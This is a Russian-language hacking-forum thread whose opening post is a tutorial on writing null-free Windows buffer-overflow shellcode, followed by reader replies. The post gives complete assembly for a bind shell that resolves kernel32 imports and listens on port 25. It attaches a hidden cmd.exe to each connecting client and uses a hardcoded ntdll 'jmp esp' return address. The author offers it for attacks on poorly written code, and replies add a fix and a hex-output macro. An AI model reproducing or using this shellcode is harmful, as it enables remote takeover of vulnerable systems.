И так, это моя вступительная статья, по поводу вступления в ряды модераторов данного раздела. [size=+3]Написание ShellCoda’a[/size] В данной статье будет оговорены такие аспекты как: - Оптимизация кода - Программирование без нулевого байта - Нахождение рукоятки(Handle) kernel’а - Нахождение таблицы импорта kernel’а с последующим получением из неё функции GetProcAddress - Алгоритм автоматического импортирования остальных функций - Прослушивание порта - Запуск и последующее сцепление интерпретатора команд с подключившемся клиентом [ Теория ] Оптимизация: Нам ведь нужно, чтоб наш код занимал как можно меньше места и выполнялся как можно быстрее, тогда нам нужно освоить методы оптимизации. Например если мы уверены, что в регистре осталось значение, то нет никакого смысла заносить его туда снова, также если оставшиеся значение ненамного отличается от требуемого, можно просто воспользоваться инструкцией для его модификация, если конечно эта инструкция выполняется быстрее, инструкция занесения туда этого числа или занимает меньше байт. Примеры: Code: 33 C0 xor eax, eax тоже что и B8 00000000 mov eax, 0 --- 33 C0 xor eax, eax 8D48 05 lea ecx, [eax+5] тоже что и B8 00000000 mov eax, 0 B8 05000000 mov ecx, 5 Но в 2 раза короче --- C1E8 02 shr eax, 2 ; сдвиг на два бита в право(r) эквивалентно делению на (максимальное значение которое можно поместить в 2 бита + 1) т.е. 4 тоже что и BB 04000000 mov ebx, 4 BA 00000000 mov edx, 0 F7FB idiv ebx но при этом во втором варианте затрагиваются другие регистры, что не всегда приемлемо. shl – сдвиг в другую сторону, т.е. можно использовать для целочисленного деления на числа (2,4,8,16,32,64,128,256,512,1024,...) --- 09C0 or eax, eax 74 15 jz @f Тоже что 83F8 00 cmp eax, 0 74 15 je @f --- AD Lodsd тоже что и 8B 06 mov eax, [esi] 83C6 04 add esi, 4 --- Умножение на 3 например, можно осуществить так 8D0440 lea eax, [eax*3] при этом оно скомпилируется как 8D0440 lea eax, [eax+eax*2] --- Ну и циклическое копирование блока фиксированной длины оптимальнее выполнять так mov esi, Откуда mov edi, Куда mov ecx, Длина rep movsb или если длина кратная четырём то так mov esi, Откуда mov edi, Куда mov ecx, Длина shr ecx, 2 rep movsd но не так mov esi, Откуда mov edi, Куда mov ecx, Длина @@: lodsb stosb inc esi inc edi loop @b и тем более не так mov esi, Откуда mov edi, Куда mov ecx, Длина @@: mov al, [esi] mov [edi], al inc esi inc edi dec ecx cmp ecx, 0 jnz @b Нулевой байт: В большинстве случаев где используется шэлкод нет возможности вставлять нулевые символы, а возможно даже переходы строк, так что будем заменять все инструкции, содержащие токовые на другие группы инструкций имеющие эквивалентное действие. В этом нам поможет дизассемблер или отладчик, очень удобно запустить OllyDbg, нажимать пробел на одном и том же месте, вписывать инструкцию и сразу же смотреть её опкоды, так же хорошо это помогает и при оптимизации, например компилишь and eax, 0x0F получается 3 байта, а and eax, 0xFF пять. Относительные адреса: Также нужно заменять все инструкции имеющие абсолютные(absolute) адреса, на адреса относительно(relative) некоторых регистров, т.к. мы не знаем прямых адресов, не знаем в какой уголок памяти нас закинула винда(а учится то, что обещают мелкомягкие в винде виста, то к этому нужно привыкать), так что будем выкручиваться. Например чтоб получить свой текущий адрес можно воспользоваться вот такой комбинацией Code: E8 00000000 call near @f @@: 5D pop ebp Правдо она содержит нулевые байты, но это можно обойти так Code: EB 02 jmp .lb2 .lb1: EB 05 jmp .lb3 .lb2: E8 F9FFFFFF call near .lb1 .lb3: 5D pop ebp Код: Далее я буду последовательно приводить фрагменты кода и за каждым из них, будет следовать описание. Все коды написаны для flat assembler’a Code: format PE GUI 4.0 entry Start include 'win32a.inc' proc Start sub esp, 512 mov edi, esp mov esi, Begin @@: lodsb stosb cmp al, 0 jnz @b add esp, 512 ret endp Begin file 'shellcode.bin' Для опрощения написания и отладки шэлкода, я написал такую программку, которая эмулирует переполнение буфера длиной 512 байт, вписывая туда заранее скомпилированный шэлкод, останавливаясь при этом при нахождении первого нулевого байта. Code: include 'win32a.inc' buffer_len = 512 use32 Инициализация всех нужных нам структур, указание компилятору, что дальше идёт 32х битный машинный код, а также указываем длину переполняемого буфера. Code: ; Here is begin of shellcode Begin: LoadLibraryA db 'LoadLibraryA',0xFF ; We cen't end text lines tx_cmd db 'cmd.exe',0xFF ; by symbol 0, so we chenged ; it to symbol 0xFF importex db 'kernel32',0xFF CreateProcessA db 'CreateProcessA',0xFF VirtualAlloc db 'VirtualAlloc',0xFF CloseHandle db 'CloseHandle',0xFF,0xFF db 'Ws2_32',0xFF WSAStartup db 'WSAStartup',0xFF WSASocketA db 'WSASocketA',0xFF bind db 'bind',0xFF listen db 'listen',0xFF accept db 'accept',0xFF,0xFF,0xFF Вот оно, начало шэлкода, несмотря на это первая инструкция куда попадёт управление, находится в конце, а сюда управление не попадёт никогда. В этой часте кода, содержатся строки, которые в последствии будут использованы, как вы уже заметили заканчиваются они не символом с кодом 0 а символом с кодом 0xFF(255) по известным причинам. Почему 0xFF?, да потому, что его очень просто переделать в 0, 0 это not 0xFF. Code: ecode: mb_al = buffer_len and 0xff mb_ah = buffer_len shr 8 xor eax, eax if mb_al > 0 & mb_ah > 0 mov ax, buffer_len else if mb_al > 0 & mb_ah = 0 mov ah, mb_al else if mb_al = 0 & mb_ah > 0 mov ah, mb_ah end if sub esp, eax lea ebp, [esp + ecode - Begin] Тут определяется наше местоположение, точнее местоположение ecode: и заносится в регистр ebp, относительно него мы и будем обратятся к переменным и текстовым строкам. Также тут реализовано смещение указателя на стек(esp) за приделы нашего кода, чтоб при занесении значений в стек, они его не затерали. Макроинструкции if контролируют невнесение нулей в код, при изменении длины переполняемого буфера. Code: ; Getting kernel addr xor eax, eax mov eax, [fs:eax+30h] test eax, eax js ngk mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov edx, [eax+8] jmp egk ngk: mov eax, [eax+34h] add eax, 7Ch mov edx, [eax+3Ch] egk: Тут мы получаем из регистра fs адрес области памяти, в которую загрузился кернел, этот адрес также известный как Handle, а точнее там содержатся все параметры и структуры загруженного модуля. К сожалению до изучения интересной(насколько я о ней наслишен) структуры содержащийся в по адресу из этого регистра, я ещё не добрался, так что я просто взял готовый кусочек кода и модифицировал его под свои нужду, как только появится время + настроение обязательно это сделаю. Code: ; Locating export table mov ebx, [edx+60] mov ebx, [edx+ebx+120] Первая строка находит смешение PE структуры, содержащий параметры и смещения 32х битного запускаемого модуля, а вторая считывает от туда смещение таблицы экспорта и заносит его в ebx. Code: ; Looking for LoadLibraryA ; mov esi, [edx+ebx+0x20] ; Names ; add esi, edx ;@@: lodsd ; add eax, edx ; cmp dword[eax], 'Load' ; We can find this function ; jne @b ; by using GetProcAddress ; ;cmp dword[eax+4], 'Libr' ; because already have handle ; ;jne @b ; of kernel ; cmp dword[eax+8], 'aryA' ; jne @b ; cmp byte[eax+12], 1 ; jnb @b ; sub esi, [edx+ebx+0x20] ; add esi, [edx+ebx+0x1C] ; mov esi, [esi-4] ; add esi, edx ; push esi ; Looking for GetProcAddress mov esi, [edx+ebx+0x20] ; Names add esi, edx @@: lodsd add eax, edx cmp dword[eax], 'GetP' jne @b ;cmp dword[eax+4], 'rocA' ; It's only to control what ;jne @b ; this is a right function, ;cmp dword[eax+8], 'ddre' ; but kernel doesn't contain ;jne @b ; any simular functions cmp word[eax+12], 'ss' jne @b cmp byte[eax+14], 1 jnb @b sub esi, [edx+ebx+0x20] add esi, [edx+ebx+0x1C] ; - Addreses mov esi, [esi-4] add esi, edx ;push esi Владея этой информацией мы можем найти любую функцию кернола, например LoadLibreryA и GetProcAddress, а дальше загрузить любую другую библиотеку, и помощью этих функций получить из них любую функцию, но как я уже говорил, полученная область памяти и есть Handle, он же и есть то значение которое возвращается функцией LoadLibreryA. Также я закоментил четыре инструкции, проверяющие верная ли это функция, так как кекнол не содержит подобной инструкции, попадающей под остальные проверки, а значит нет смысла сомневаться, что это правильная функция, кстати этим мы экономим 18 байт кода. Code: ; Restoring strings zero bytes lea edi, [ebp+Begin-ecode] xor eax, eax lea ecx, [eax+ecode-Begin] dec eax z_lp: repne scasb jnz z_en not byte[edi-1] inc ecx loop z_lp z_en: Находим в строках байты 0xFF и инвертируем их, в результате чего получаем на их месте байты 0. Code: ; Getting LoadLibreryA push esp edx call esi push eax esi Получаем функцию LoadLibreryA, с помощью функции GetProcAddress, содержащийся в регистре esi, с последующим сохранением их в стеке, для импортирования остальных функций. Code: ; Importing functions lea edi, [ebp+importex-ecode] jmp i_ll i_nl: stosb i_ll: stdcall dword[esp+8], edi mov esi, eax i_nc: xor eax, eax lea ecx, [eax-1] repne scasb cmp [edi], ax jz i_el cmp [edi], al jz i_nl stdcall dword[esp+8], esi, edi stosd jmp i_nc db 'B' ; To block "\n" А вот он и алгоритм, автоматического импортирования функций, его также очень удобно применять в Вирусах, Троянах или просто в зашифрованных программах, для скрытия списка импортируемых функций. Использовать его очень просто, в передаваемую в edi структуру, заносится имя библиотеки, дальше следует два три нулевых байта если это конец структуры, два байта если нужно загрузить следующею библиотеку или один если нужно импортировать из неё функции, которых разделены между собой одним нулевым байтом, а если находятся два или 3 байта, то их значение соответствует приведенным выше. Адреса полученных функций заносятся в первые четыре байта имени функции, так что использование функций имена которых короче 3х символов, недопустимо! Code: ; Begin of ShellCode i_el: xor esi, esi mov eax, esi mov ax, 0x222 mov ebx, esi mov bh, (MEM_COMMIT shr 8) stdcall dword[VirtualAlloc+ebp-ecode], esi, eax, ebx, PAGE_READWRITE Тут выделяем 546 байт памяти для хранения структур, нелюбою хранить переменные в стеке, лишний шанс переполнения, не я ошибусь, так мелкомягкие, какую нибудь калечную функцию напишут, типа lstrcpy, в МСДН’е так и написано, Security Alert. Ладно чёта я отвлёкся, продолжим. Code: mov edi, eax mov eax, esi mov ax, 0x202 stdcall dword[WSAStartup+ebp-ecode], eax, edi Ну тут понятно, инициализируем WSA(Windows Sockets support) передаём ему адрес памяти, полученный предыдущим кодом, а со структурой пусть разберется сам, она примерно 520 байт, остальное меня не интересует. Code: stdcall dword[WSASocketA-ecode+ebp], 2, 1, esi, esi, esi, esi mov [ebp+4], eax ; IdSocket Создаём сокет и заносим его идентификатор во второе двойное слово нашего кода, да, да мы можем затирать начало кода, т.к. управление больше никогда туда не вернётся, а значит там очень удобно хранить переменные фиксированной длины, тем более что ebp у нас указывает прямо туда. Кстате, по непонятным для меня причинам инструкция mov [ebp], eax компилируется как mov [ebp+0], eax зато mov [esi], eax например компилируется нормально, а так как 0 нам тут совсем не к месту то подставим туда 4. Code: mov [ebp+4], eax ; IdSocket mov eax, esi mov ah, 25 mov [edi+sockaddr_in.sin_port], ax ; sin_port lea eax, [esi+2] mov [edi+sockaddr_in.sin_family], ax mov [edi+sockaddr_in.sin_addr], esi stdcall dword[bind-ecode+ebp], [ebp+4], edi, sizeof.sockaddr_in stdcall dword[listen-ecode+ebp], [ebp+4], 5 Тут мы заполняем структуру sockaddr_in в edi для слушанья 25го порта, биндим и начинаем прослушку. Номер порта заносится во вторую половину регистра ax, те в ah. Code: mov eax, edi lea ecx, [esi+0x20] rep stosd mov edi, eax lea eax, [esi+sizeof.STARTUPINFO] mov [edi], eax ; +STARTUPINFO.cb = +0 mov dword[edi+STARTUPINFO.wShowWindow], esi ; SW_HIDE = word 0, cbReserved2 = word 0 mov eax, esi inc al ; eax = 000000(01) inc ah ; eax = 0000(01)01 mov [edi+STARTUPINFO.dwFlags], eax ; STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES = 0x101 Заполняем нулями 32к байт, т.е. будущую структуру STARTUPINFO, а также заполняем необходимые поля т.к. длина и флаги(не показывать окно и использовать пользовательские рукоятки). Code: .loop: stdcall dword[accept-ecode+ebp], [ebp+4], esi, esi mov [edi+STARTUPINFO.hStdInput], eax mov [edi+STARTUPINFO.hStdOutput], eax mov [edi+STARTUPINFO.hStdError], eax lea ebx, [tx_cmd-ecode+ebp] lea edx, [edi+sizeof.STARTUPINFO] ; ProcessInfo is next to STARTUPINFO stdcall dword[CreateProcessA-ecode+ebp], esi, ebx, esi, esi, -1, esi, esi, esi, edi, edx stdcall dword[CloseHandle-ecode+ebp], [edi+sizeof.STARTUPINFO] stdcall dword[CloseHandle-ecode+ebp], [edi+sizeof.STARTUPINFO+4] stdcall dword[CloseHandle-ecode+ebp], [edi+STARTUPINFO.hStdInput] jmp .loop Здесь мы передаём идентификатор сокета, подключившегося клиента запускаемой программе как рукоятки стандартного ввода и вывода, а также вывода ошибок. Также тут мы попадаем в бесконечный цикл, из которого этот тред не выйдет никогда, а куда нам его выпускать то, мы ведь затёрли адрес возврата, хотя если кому-то надо, не сложно модифицировать этот код например для создания дополнительного треда, а потом как-нибудь рассчитать адрес возврата, поместить этот цикл в тред, а управление передать на этот адрес, так что дерзайте, можно также использовать какую-нибудь некорректную инструкцию, например деление на ноль, тогда управление передастся на ближайший интерпретатор ошибок и если программа отлаживает(что-то вроде try, except) ошибки такого рода, то управление попадёт куда надо. Code: db buffer_len - ($ - Begin) dup('A') dd 0x7C941EED call ecode db 0 ; Here is end of shellcode Ну и заключительная деталь, выравниваем(заполняем оставшееся место символоми A), код до длины переполняемого буфера, в данном случае это 512 байт. Шэлкод занимает почти все 512, так что с переполнением буфера меньший длины придётся повозится дольше, тогда шэлкод нужно будет разместить по обоим сторонам затираемого адреса, что немного сложнее, а вот для буферов большей длины нужно просто указать её значение в первом фрагменте кода. Кстати объясню насчёт dd 0x7C941EED - это адрес инструкции jmp esp в библиотеке ntdll(за идею спасибо KEZ’У, чаще бы такие идеи), я сомневаюсь что в другом билде он изменится, но всё-же, если это произойдёт его нужно будет поправить, ну или найти такую же инструкцию, например в атакуемой программе. Надеюсь эти 17Кб текста, кому-нибудь помогут, в атаках на кривые коды на скорую руку. С вами был hidden, удачи...
Интересная у вас реакция, эту идею, на сколько я помню, КЕЗ в своей статье толкнул уже не знамо как давно
Заходим на сайт, ссылки битые, ищем по форуму на всех топах битые ссылки, ладно мы люди терепеливые идём в гугл и т.п. Однако, все поисквики ссылаются на кряклаб, а там все ссылки битые. Может у кого есть прямые ссылки.
Читал примерно то-же про оптимизацию, но только от BillyBelcibu (или как то так). Ну а так для так сказать самообразования вообще кул! Мог бы ставить +10, поставил бы =) ЗюЫ. Про: AD Lodsd тоже что и 8B 06 mov eax, [esi] 83C6 04 add esi, 4 Впервые вижу такое, полезно! +
Советую ознакомится с этим набором инструкций, это оооочень полезные инструкции для работы со строками Code: lodsb lodsw lodsd stosb stosw stosd movsb movsw movsd scasb scasw scasd rep std cld
Советую ознакомиться со всем списком целочисленных (в первую очередь) инструкций. Ну, может быть, за исключением Xmm-, Mmx-расширений.
Да насчёт инструкций то знаю =) Я просто не знал как это записать по другому (оптимизировать) а именно вот это: [цитата] тоже что и 8B 06 mov eax, [esi] 83C6 04 add esi, 4 =)
Хек, я же специально реализовал этот механизм, чтоб исключить появление нулей при изменении длины шэлкода))) но использовать его забыл))) Code: mb_al = buffer_len and 0xff mb_ah = buffer_len shr 8 xor eax, eax if mb_al > 0 & mb_ah > 0 mov ax, buffer_len else if mb_al > 0 & mb_ah = 0 mov ah, mb_al else if mb_al = 0 & mb_ah > 0 mov ah, mb_ah end if mov ebp, esp add ebp, ecode - Begin Предполагалось вычесть из esp, eax, но я пропустил эту строку))) Code: mb_al = buffer_len and 0xff mb_ah = buffer_len shr 8 xor eax, eax if mb_al > 0 & mb_ah > 0 mov ax, buffer_len else if mb_al > 0 & mb_ah = 0 mov ah, mb_al else if mb_al = 0 & mb_ah > 0 mov ah, mb_ah end if sub esp, eax mov ebp, esp add ebp, ecode - Begin Кстати пока исправлял, заодно модернизировал ещё одну(теперь одну) инструкцию, вместо Code: mov ebp, esp add ebp, ecode - Begin Code: lea ebp, [esp + ecode - Begin]
Ну вообще-то, тут написано "Написание ShellCoda’a", а не "Готовый шелкод, закодированный в HEX для специфической баги", тут универсальный, опенсурс шелкод, с переменной длиной, подходящий под большинство переполнений. Компилируешь, открываешь в ХЕКс редакторе, и получаешь "HEX-кодированные строки"
Те у кого проблемы с HEX-по каким либо причинам))), могут дописать следующий код в конец шелкода, что заставил fasm компилировать сразу в HEX Code: end_of_shell_code = $ rb end_of_shell_code repeat end_of_shell_code load xxx byte from end_of_shell_code - % xx1 = (xxx and 0xF) + '0' xx2 = (xxx shr 4) + '0' if xx1 > '9' xx1 = xx1 - '9' + 'A' end if if xx2 > '9' xx2 = xx2 - '9' + 'A' - 1 end if store word xx2 + (xx1 shl 8) at (end_of_shell_code - %) shl 1 end repeat
Ну почему же сразу для спицефичной? можно же получит шеллкод постоянной длинны который будет почти универсальным. Спасибо, мы в курсе =)